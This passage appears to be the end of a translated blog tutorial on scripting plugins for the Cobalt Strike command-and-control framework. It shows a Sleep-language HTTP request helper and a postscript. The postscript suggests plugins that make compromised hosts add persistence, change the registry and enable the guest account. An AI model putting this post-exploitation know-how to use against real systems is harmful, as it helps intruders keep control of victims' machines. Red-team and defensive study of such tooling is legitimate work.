        warn("Exceeded maximum number of redirects: $method $url ");
        return "";
    }

    try
    {
        $urlobj = [new java.net.URL: $url];
        $con = $null;
        $con = [$urlobj openConnection];
        [$con setRequestMethod: $method];
        [$con setInstanceFollowRedirects: true];
        [$con setRequestProperty: "Accept", "*/*"];
        [$con setRequestProperty: "Cache-Control", "max-age=0"];
        [$con setRequestProperty: "Connection", "keep-alive"];
        [$con setRequestProperty: "User-Agent", $USER_AGENT];

        if($bodyLen > 0) {
            [$con setDoOutput: true];
            [$con setRequestProperty: "Content-Type", "application/x-www-form-urlencoded"];
        }

        $outstream = [$con getOutputStream];
        if($bodyLen > 0) {
            [$outstream write: [$body getBytes]];
        }

        $inputstream = [$con getInputStream];
        $handle = [SleepUtils getIOHandle: $inputstream, $outstream];
        $responseCode = [$con getResponseCode];

        if(($responseCode >= 301) && ($responseCode <= 304)) {
            $loc = [$con getHeaderField: "Location"];
            return httpRequest($method, $loc, $body, $n + 1);
        }

        @content = readAll($handle);
        $response = "";
        foreach $line (@content) {
            $response .= $line . "\r\n";
        }

        if((strlen($response) > 2) && (right($response, 2) eq "\r\n")) {
            $response = substr($response, 0, strlen($response) - 2);
        }

        return $response;
    }
    catch $message
    {
       warn("HTTP Request failed: $method $url : $message ");
       printAll(getStackTrace());
       return "";
    }
}

github link :https://github.com/mgeeky/cobalt-arsenal/blob/master/httprequest.cna

Postscript  

That's the end of the official document on scripting , Then there are custom reports and other bits and pieces ,C2 The most important thing to write plug-ins is Data model And events , We need to combine different events and data models , It produces different results ; For example, how can we make the online host directly add self boot 、 Modify registry 、 Activate guest The user etc. , Can write their own plug-ins to achieve , because Aggressor Script Is based on Sleep It's written in scripting language , So you need to read it well Sleep Official document . There may be mistakes in the translation , Please correct it

Postscript

Reference documents  

CS Plug in to write official documents :https://www.cobaltstrike.com/help-scripting

Sleep Grammar documents :http://sleep.dashnine.org/manual/index.html

Contribution guide :https://wiki.wgpsec.org/guide/

Original statement , This article is authorized by the author + Community publication , Unauthorized , Shall not be reproduced .

If there is any infringement , Please contact the [email protected] Delete .

版权声明
本文为[WgpSec]所创,转载请带上原文链接,感谢
https://chowdera.com/2021/02/20210204185830462B.html